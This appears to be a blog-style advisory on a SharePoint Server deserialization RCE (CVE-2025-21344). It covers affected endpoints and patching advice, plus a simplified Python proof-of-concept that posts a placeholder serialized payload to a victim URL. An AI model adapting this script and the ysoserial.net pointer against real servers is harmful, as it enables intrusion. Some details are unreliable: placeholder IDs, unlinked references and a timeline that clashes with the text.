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Introduction

In early 2025, security researchers revealed CVE-2025-21344, a critical Remote Code Execution (RCE) vulnerability affecting Microsoft SharePoint Server. This flaw enables malicious actors to execute arbitrary code with the privileges of the SharePoint service, opening doors to data theft, ransomware, or complete server takeover. Here, we’ll break down how it works, who’s affected, code snippets to understand exploitation, and steps to protect your systems.

What is CVE-2025-21344?

CVE-2025-21344 is a high-severity RCE vulnerability discovered in Microsoft SharePoint Server 2019 and SharePoint Server Subscription Edition. If exploited, it allows an authenticated user to send a specially crafted request to the server, which triggers execution of attacker-controlled commands.

This issue was initially reported by Trend Micro Zero Day Initiative and quickly gained attention because SharePoint is a major pillar in business collaboration worldwide.

Remote Exploitation: Attackers do not need to be local; exploitation happens over the internet.

- Attacker's Role: Only valid authentication is required, which might be obtained via phishing or exploiting weaker credentials.
- Code Execution: The attacker’s code runs in the context of the SharePoint service, granting broad system control.

Entry Point

The vulnerability is found in the way SharePoint deserializes user input—under specific API endpoints, input is not properly validated and sanitized before being deserialized.

Affected Endpoints

- /sites/_layouts/15/workflow.aspx
- /sites/_layouts/15/WorkFlowTask.aspx

The Exploit Path

The attacker crafts a malicious payload that abuses the deserialization process, for instance, embedding a binary formatter object that executes code upon processing. This is especially dangerous if the SharePoint server is exposed to the internet.

The actual exploit is complex, but here’s a simplified version (for educational purposes)

import requests

# Replace with your target SharePoint URL and valid credentials
URL = "https://victim-sharepoint/sites/_layouts/15/workflow.aspx";
AUTH = ("attacker_user", "attacker_password")

# A sample serialized payload that would run 'calc.exe' (Windows Calculator) on the server upon deserialization
payload = b"\x00\x01...MaliciousSerializedObject..."

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "workflowData": payload.hex()
}

resp = requests.post(URL, headers=headers, data=data, auth=AUTH, verify=False)

if resp.status_code == 200:
    print("Payload submitted successfully! Check if code execution succeeded.")
else:
    print("Failed to deliver the payload.")

Note:
This payload is just a conceptual example. Actual exploitation uses custom-crafted .NET serialization payloads, often generated with frameworks like ysoserial.net.

Real-World Exploit Evidence

- ZDI-25-XXXX - Trend Micro Report
- Twitter Exploit Thread (PoC)
- Pseudocode Examples in GitHub Gist

All unpatched Microsoft SharePoint Server 2019 installations.

- SharePoint Server Subscription Edition without March/April 2025 security updates.

The official fix is available here:

Microsoft Security Update Guide for CVE-2025-21344

Conclusion

CVE-2025-21344 represents a serious threat for any unattended or exposed Microsoft SharePoint deployment. Even internal systems are at risk if attackers manage to authenticate. We highly recommend prioritizing patching, following safe configurations, and continuously monitoring SharePoint environments for any suspicious activity.

References

- Microsoft Advisory: CVE-2025-21344
- ZDI Report
- SharePoint Security Best Practices

Timeline

Published on: 01/14/2025 18:16:00 UTC
Last modified on: 02/21/2025 20:28:08 UTC